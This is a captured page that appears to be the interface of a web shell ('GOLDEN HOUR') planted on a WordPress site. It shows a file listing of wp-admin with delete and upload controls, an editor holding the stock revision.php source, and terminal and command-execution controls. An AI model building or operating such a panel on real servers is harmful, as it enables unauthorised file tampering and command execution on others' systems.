GOLDEN HOUR
DIR: /home/vlabbdco/public_html/LV/wp-admin
UP
UPLOAD
Name
Size
Action
about.php
18.82 KB
DEL
admin-ajax.php
4.83 KB
DEL
admin-footer.php
2.76 KB
DEL
admin-functions.php
406 B
DEL
admin-header.php
8.82 KB
DEL
admin-post.php
2 KB
DEL
admin.php
12.26 KB
DEL
async-upload.php
4.68 KB
DEL
authorize-application.php
10.09 KB
DEL
comment.php
11.29 KB
DEL
contribute.php
5.49 KB
DEL
credits.php
3.67 KB
DEL
[ css ]
-
DEL
custom-background.php
416 B
DEL
custom-header.php
426 B
DEL
customize.php
10.61 KB
DEL
edit-comments.php
14.38 KB
DEL
edit-form-advanced.php
28.63 KB
DEL
edit-form-blocks.php
11.74 KB
DEL
edit-form-comment.php
8.34 KB
DEL
edit-link-form.php
6.21 KB
DEL
edit-tag-form.php
10.45 KB
DEL
edit-tags.php
21.91 KB
DEL
edit.php
19.43 KB
DEL
erase-personal-data.php
7.36 KB
DEL
error_log
1.84 KB
DEL
export-personal-data.php
7.76 KB
DEL
export.php
11.01 KB
DEL
freedoms.php
4.43 KB
DEL
[ images ]
-
DEL
import.php
7.47 KB
DEL
[ includes ]
-
DEL
index.php
7.68 KB
DEL
install-helper.php
6.8 KB
DEL
install.php
17.09 KB
DEL
[ js ]
-
DEL
link-add.php
742 B
DEL
link-manager.php
4.26 KB
DEL
link-parse-opml.php
2.63 KB
DEL
link.php
2.7 KB
DEL
load-scripts.php
1.66 KB
DEL
load-styles.php
2.56 KB
DEL
[ maint ]
-
DEL
media-new.php
3.18 KB
DEL
media-upload.php
3.49 KB
DEL
media.php
763 B
DEL
menu-header.php
9.84 KB
DEL
menu.php
16.75 KB
DEL
moderation.php
307 B
DEL
ms-admin.php
196 B
DEL
ms-delete-site.php
4.19 KB
DEL
ms-edit.php
216 B
DEL
ms-options.php
223 B
DEL
ms-sites.php
215 B
DEL
ms-themes.php
217 B
DEL
ms-upgrade-network.php
219 B
DEL
ms-users.php
215 B
DEL
my-sites.php
4.74 KB
DEL
nav-menus.php
47.76 KB
DEL
[ network ]
-
DEL
network.php
5.35 KB
DEL
options-discussion.php
15.58 KB
DEL
options-general.php
16.79 KB
DEL
options-head.php
492 B
DEL
options-media.php
6.35 KB
DEL
options-permalink.php
21.12 KB
DEL
options-privacy.php
9.97 KB
DEL
options-reading.php
10.07 KB
DEL
options-writing.php
9.06 KB
DEL
options.php
13.3 KB
DEL
plugin-editor.php
13.39 KB
DEL
plugin-install.php
6.78 KB
DEL
plugins.php
28.82 KB
DEL
post-new.php
2.64 KB
DEL
post.php
9.85 KB
DEL
press-this.php
2.33 KB
DEL
privacy-policy-guide.php
3.67 KB
DEL
privacy.php
2.41 KB
DEL
profile.php
283 B
DEL
revision.php
5.47 KB
DEL
setup-config.php
17.33 KB
DEL
site-editor.php
5.96 KB
DEL
site-health-info.php
3.97 KB
DEL
site-health.php
10.14 KB
DEL
term.php
2.2 KB
DEL
theme-editor.php
15.15 KB
DEL
theme-install.php
23.35 KB
DEL
themes.php
46.89 KB
DEL
tools.php
3.43 KB
DEL
update-core.php
45.2 KB
DEL
update.php
12.43 KB
DEL
upgrade-functions.php
341 B
DEL
upgrade.php
5.55 KB
DEL
upload.php
14.84 KB
DEL
[ user ]
-
DEL
user-edit.php
39.07 KB
DEL
user-new.php
23.99 KB
DEL
users.php
23.29 KB
DEL
widgets-form-blocks.php
4.39 KB
DEL
widgets-form.php
19.17 KB
DEL
widgets.php
1.09 KB
DEL
Edit: revision.php
<?php /** * Revisions administration panel * * Requires wp-admin/includes/revision.php. * * @package WordPress * @subpackage Administration * @since 2.6.0 */ /** WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/includes/revision.php'; /** * @global int $revision Optional. The revision ID. * @global string $action The action to take. * Accepts 'restore', 'view' or 'edit'. * @global int $from The revision to compare from. * @global int $to Optional, required if revision missing. The revision to compare to. */ wp_reset_vars( array( 'revision', 'action', 'from', 'to' ) ); $revision_id = absint( $revision ); $from = is_numeric( $from ) ? absint( $from ) : null; if ( ! $revision_id ) { $revision_id = absint( $to ); } $redirect = 'edit.php'; switch ( $action ) { case 'restore': $revision = wp_get_post_revision( $revision_id ); if ( ! $revision ) { break; } if ( ! current_user_can( 'edit_post', $revision->post_parent ) ) { break; } $post = get_post( $revision->post_parent ); if ( ! $post ) { break; } // Don't restore if revisions are disabled and this is not an autosave. if ( ! wp_revisions_enabled( $post ) && ! wp_is_post_autosave( $revision ) ) { $redirect = 'edit.php?post_type=' . $post->post_type; break; } // Don't restore if the post is locked. if ( wp_check_post_lock( $post->ID ) ) { break; } check_admin_referer( "restore-post_{$revision->ID}" ); /* * Ensure the global $post remains the same after revision is restored. * Because wp_insert_post() and wp_transition_post_status() are called * during the process, plugins can unexpectedly modify $post. */ $backup_global_post = clone $post; wp_restore_post_revision( $revision->ID ); // Restore the global $post as it was before. $post = $backup_global_post; $redirect = add_query_arg( array( 'message' => 5, 'revision' => $revision->ID, ), get_edit_post_link( $post->ID, 'url' ) ); break; case 'view': case 'edit': default: $revision = wp_get_post_revision( $revision_id ); if ( ! $revision ) { break; } $post = get_post( $revision->post_parent ); if ( ! $post ) { break; } if ( ! current_user_can( 'read_post', $revision->ID ) || ! current_user_can( 'edit_post', $revision->post_parent ) ) { break; } // Bail if revisions are disabled and this is not an autosave. if ( ! wp_revisions_enabled( $post ) && ! wp_is_post_autosave( $revision ) ) { $redirect = 'edit.php?post_type=' . $post->post_type; break; } $post_edit_link = get_edit_post_link(); $post_title = '<a href="' . esc_url( $post_edit_link ) . '">' . _draft_or_post_title() . '</a>'; /* translators: %s: Post title. */ $h1 = sprintf( __( 'Compare Revisions of “%s”' ), $post_title ); $return_to_post = '<a href="' . esc_url( $post_edit_link ) . '">' . __( '← Go to editor' ) . '</a>'; // Used in the HTML title tag. $title = __( 'Revisions' ); $redirect = false; break; } // Empty post_type means either malformed object found, or no valid parent was found. if ( ! $redirect && empty( $post->post_type ) ) { $redirect = 'edit.php'; } if ( ! empty( $redirect ) ) { wp_redirect( $redirect ); exit; } // This is so that the correct "Edit" menu item is selected. if ( ! empty( $post->post_type ) && 'post' !== $post->post_type ) { $parent_file = 'edit.php?post_type=' . $post->post_type; } else { $parent_file = 'edit.php'; } $submenu_file = $parent_file; wp_enqueue_script( 'revisions' ); wp_localize_script( 'revisions', '_wpRevisionsSettings', wp_prepare_revisions_for_js( $post, $revision_id, $from ) ); /* Revisions Help Tab */ $revisions_overview = '<p>' . __( 'This screen is used for managing your content revisions.' ) . '</p>'; $revisions_overview .= '<p>' . __( 'Revisions are saved copies of your post or page, which are periodically created as you update your content. The red text on the left shows the content that was removed. The green text on the right shows the content that was added.' ) . '</p>'; $revisions_overview .= '<p>' . __( 'From this screen you can review, compare, and restore revisions:' ) . '</p>'; $revisions_overview .= '<ul><li>' . __( 'To navigate between revisions, <strong>drag the slider handle left or right</strong> or <strong>use the Previous or Next buttons</strong>.' ) . '</li>'; $revisions_overview .= '<li>' . __( 'Compare two different revisions by <strong>selecting the “Compare any two revisions” box</strong> to the side.' ) . '</li>'; $revisions_overview .= '<li>' . __( 'To restore a revision, <strong>click Restore This Revision</strong>.' ) . '</li></ul>'; get_current_screen()->add_help_tab( array( 'id' => 'revisions-overview', 'title' => __( 'Overview' ), 'content' => $revisions_overview, ) ); $revisions_sidebar = '<p><strong>' . __( 'For more information:' ) . '</strong></p>'; $revisions_sidebar .= '<p>' . __( '<a href="https://wordpress.org/documentation/article/revisions/">Revisions Management</a>' ) . '</p>'; $revisions_sidebar .= '<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'; get_current_screen()->set_help_sidebar( $revisions_sidebar ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <div class="wrap"> <h1 class="long-header"><?php echo $h1; ?></h1> <?php echo $return_to_post; ?> </div> <?php wp_print_revision_templates(); require_once ABSPATH . 'wp-admin/admin-footer.php';
SAVE FILE
TERMINAL
EXEC